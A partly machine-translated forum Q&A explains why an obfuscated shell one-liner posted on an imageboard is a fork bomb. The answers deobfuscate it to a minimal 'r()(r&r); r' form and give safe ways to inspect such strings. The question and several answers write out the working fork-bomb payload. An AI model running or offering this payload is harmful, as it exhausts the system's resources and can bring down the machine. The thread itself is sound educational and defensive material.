Как и почему эта строка текста является бомбой?

11142
Mikey T.K.

Найдено на случайной доске чан:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode 

Каким-то образом выполнение этого приводит к бесконечно нерестящемуся процессу, который разгорается и останавливает машину. Я вижу кое-что о том, как "Су" пытались казнить много раз.

... что странно, потому что я просто ожидал, что будет выводиться текст, а не выполнение чего-либо.

Запуск этого текста через онлайн-декодер просто дает мне партию двоичного выброса:

uudecode result

Что на самом деле делает этот беспорядок текста, и есть ли способ «безопасно» его просмотреть?

129
Почему "Су" выполняется много раз? Brent Washburne 8 лет назад 0
Совет: не запускайте код со случайных плат Чан и будьте благодарны, что это была просто бомба. rr- 8 лет назад 34
Хех. К счастью, я был на снимке виртуальной машины, созданной специально для того, чтобы поиграть с таким враждебным мусором, как этот. Mikey T.K. 8 лет назад 19
Я знаю, что это не по теме, но можно ли упомянуть доску и контекст, в котором упоминалась команда? Sebi 8 лет назад 0
@Sebi - https://archive.rebeccablacktech.com/g/thread/45564403 Pikamander2 8 лет назад 1

3 ответа на вопрос

188
John1024

Сначала давайте посмотрим на всю команду:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode 

Он содержит строку в двойных кавычках, которая отображается в uudecode. Но обратите внимание, что внутри строки в двойных кавычках есть строка в обратных кавычках . Эта строка исполняется . Строка:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r` 

Если мы посмотрим, что в нем, мы увидим три команды:

rYWdl & r()(Y29j & r{,3Rl7Ig} & r{,T31wo}) r 

Выполняя раскладку по средней команде, мы имеем:

rYWdl & r()(Y29j & r r3Rl7Ig & r rT31wo) r 

Первая строка пытается выполнить бессмысленную команду в фоновом режиме. Это неважно.

Важна вторая строка: она определяет функцию, rкоторая при запуске запускает две свои копии. Каждая из этих копий, конечно, запустит еще две копии. И так далее.

Третья линия бежит r, начиная бомбу вилки.

Остальная часть кода, за пределами строки в кавычках, - просто ерунда для запутывания.

Как выполнить команду безопасно

Этот код можно безопасно выполнить, если мы установим ограничение на уровень вложенности функций. Это можно сделать с помощью FUNCNESTпеременной bash . Здесь мы устанавливаем его, 2и это останавливает рекурсию:

$ export FUNCNEST=2 $ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode bash: rYWdl: command not found bash: Y29j: command not found bash: r: maximum function nesting level exceeded (2) bash: r: maximum function nesting level exceeded (2) bash: r: maximum function nesting level exceeded (2) bash: Y29j: command not found bash: r: maximum function nesting level exceeded (2) bash: Y29j: command not found uudecode fatal error: standard input: Invalid or missing 'begin' line 

The error messages above show that (a) the nonsense commands rYWdl and Y29j are not found, (b) the fork bomb gets repeatedly stopped by FUNCNEST, and (c) the output of echo does not start with begin and, consequently, is not valid input for uudecode.

The fork bomb in its simplest form

What would the fork bomb look like if we removed the obscuration? As njzk2 and gerrit suggest, it would look like:

echo "`r()(r&r);r`" 

We can simplify that even further:

r()(r&r); r 

That consists of two statements: one defines the fork-bomb-function r and the second runs r.

All the other code, including the pipe to uudecode, was there just for obscuration and misdirection.

The original form had yet another layer of misdirection

The OP has provided a link to the chann board discussion on which this code appeared. As presented there, the code looked like:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode) 

Notice one of the first comments about this code:

I fell for it. Copied only the part that echoes and decodes, but still got forkbombed

In the form on the chann board, one would naively think that the problem would be the eval statement operating on the output of uudecode. This would lead one to think that removing eval would solve the problem. As we have seen above, this is false and dangerously so.

Коварный! Я никогда не думал о том, чтобы рассмотреть сглаживание / расширение оболочки в середине отображаемой строки. Mikey T.K. 8 лет назад 6
Я думаю, что было бы хорошо отметить, что здесь uudecode совершенно не имеет значения. Какое-то время я думал, что uudecode выполняет интерполяцию строк с обратными кавычками, что делает его принципиально небезопасным, но разветвленная бомба происходит еще до того, как uudecode запускается вообще. gerrit 8 лет назад 30
... и * это *, дамы и господа, вот почему безопасность в сценариях оболочки так чертовски сложна. Даже абсолютно безвредные вещи могут вас убить. (Представьте, если это был пользовательский ввод откуда-то ...) MathematicalOrchid 8 лет назад 28
@MateticOrchid На самом деле требуется нетривиальное усилие, чтобы заставить исполниться кавычки при вводе пользователя в скрипт оболочки. И если вы _сконструируете_ сценарий оболочки из пользовательского ввода, вы должны знать это лучше, чем заключать его в двойные кавычки. Random832 8 лет назад 22
@ Random832 Это зависит от того, сколько подсказок имеет тот, кто написал сценарий. : - / Если вы только делаете первые шаги со сценариями оболочки ... есть много, много способов выстрелить себе в ногу. MathematicalOrchid 8 лет назад 2
так что в простейшем виде это будет что-то вроде `echo '\` r () (rr); r \ `" `? njzk2 8 лет назад 0
@ njzk2 Вам по-прежнему нужно `&` там: `echo" \ `r () (r & r); r \` "`. gerrit 8 лет назад 5
@gerrit спасибо. Это выглядело странно без `&`. Я думаю, что часть запутывания работала на меня. njzk2 8 лет назад 1
Я не знал, что делали обратные галочки в оболочке, и нашел соответствующую ссылку: http://unix.stackexchange.com/a/27432 Luminous 8 лет назад 2
@MaturgicalOrchid Я думаю, что точка зрения Random832 заключается в том, что расширение backtick не происходит рекурсивно. Если вы выполняете `echo $ userinput`, и вход содержит обратные пометки, он не будет выполнять код в них. Единственное расширение, выполняемое при раскрытии переменной, - это глобализация и разбиение слов (и они будут подавлены, если вы поместите переменную в двойные кавычки). Barmar 8 лет назад 2
В самом деле. echo "$ uservariable" не выполняет расширение backtick, если uservariable содержит обратные ссылки. Joshua 8 лет назад 0
@MatumaticOrchid, если вы не делаете что-то глупое, например, запускаете `eval` (или моральный эквивалент, такой как` sh -c` или `ssh" $ host "" some_command $ untrusted_user_data "`) в строке, содержащей ввод пользователя, который не был " t санировано `printf% q`, это совершенно безопасно. Действительно, многие распространенные ошибки в программировании оболочки происходят из-за того, что люди не понимают правила, разработанные для защиты от переходов к более ранним точкам процесса анализа. Charles Duffy 8 лет назад 1
Таким образом, чтобы уточнить, ничего в этом деле, кроме строки в кавычках? Другими словами, если бы вы запустили `echo \` rYWdl & r () (Y29j & r {, 3Rl7Ig} & r {, T31wo}); r \ `` было бы то же самое? Duncan X Simpson 8 лет назад 0
10
gerrit

To answer the second part of your question:

...is there a way to "safely" view it?

To defuse this string, replace the outer double quotes by single quotes and escape the single quotes occurring inside the string. Like this, the shell will not execute any code, and you're actually passing everything straight to uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;== $ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode uudecode fatal error: standard input: Invalid or missing 'begin' line 

Other alternatives are noted in the comments:

kasperd suggested:

$ uudecode I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;== [press <Ctrl>+D] uudecode fatal error: standard input: Invalid or missing 'begin' line 

Jacob Krall suggested to use a text editor, paste the contents, then pass that file to uudecode.

В качестве альтернативы: введите `uudecode` в командной строке. Нажмите Ввод. Скопируйте и вставьте строку для декодирования. kasperd 8 лет назад 5
Другой вариант: используйте текстовый редактор, чтобы сохранить содержимое в файл. Откройте этот файл с помощью `uudecode`. Jacob Krall 8 лет назад 3
Благодаря обоим, я отметил эти альтернативы в ответе. gerrit 8 лет назад 0
Убедитесь, что вы проверяете, что строка не похожа на `` echo "foo`die`bar'`die`'baz" `` first! То есть, если в нем есть `` `, то замена кавычек одинарными кавычками будет недостаточной. wchargin 8 лет назад 1
5
Paramaeleon

At a first glance, you might think that output to the shell will never get executed. This is still true. The problem is already in the input. The main trick here is what programmers call operator precedence. This is the order the shell tries to process your input:

1. " " 2. rYWdl 3. & 4. r()(Y29j&r{,3Rl7Ig}&r{,T31wo}) 5. ; 6. r 7. ` ` 8. I<RA('1E<W3t 26<F]F;== 9. echo 10. | 11. uudecode 
  1. Compose the string by executing all backticks commands inside it.
  2. Usually an unknown command, which would cause some output like If 'rYWdl' is not a typo you can use command-not-found to lookup the package that contains it … (depends on the system)
  3. Executes 2. in the background. You will never see an output.
  4. Define the fork bomb function.
  5. Command separator.
  6. Run the fork bomb.
  7. Insert the result of 6. into the String. (We never come here.)

The error is to think that echo would be the first command to be executed, uudecode the second. Both of them will never be reached.

Conclusion: Double quotes are always dangerous on the shell.

Похожие вопросы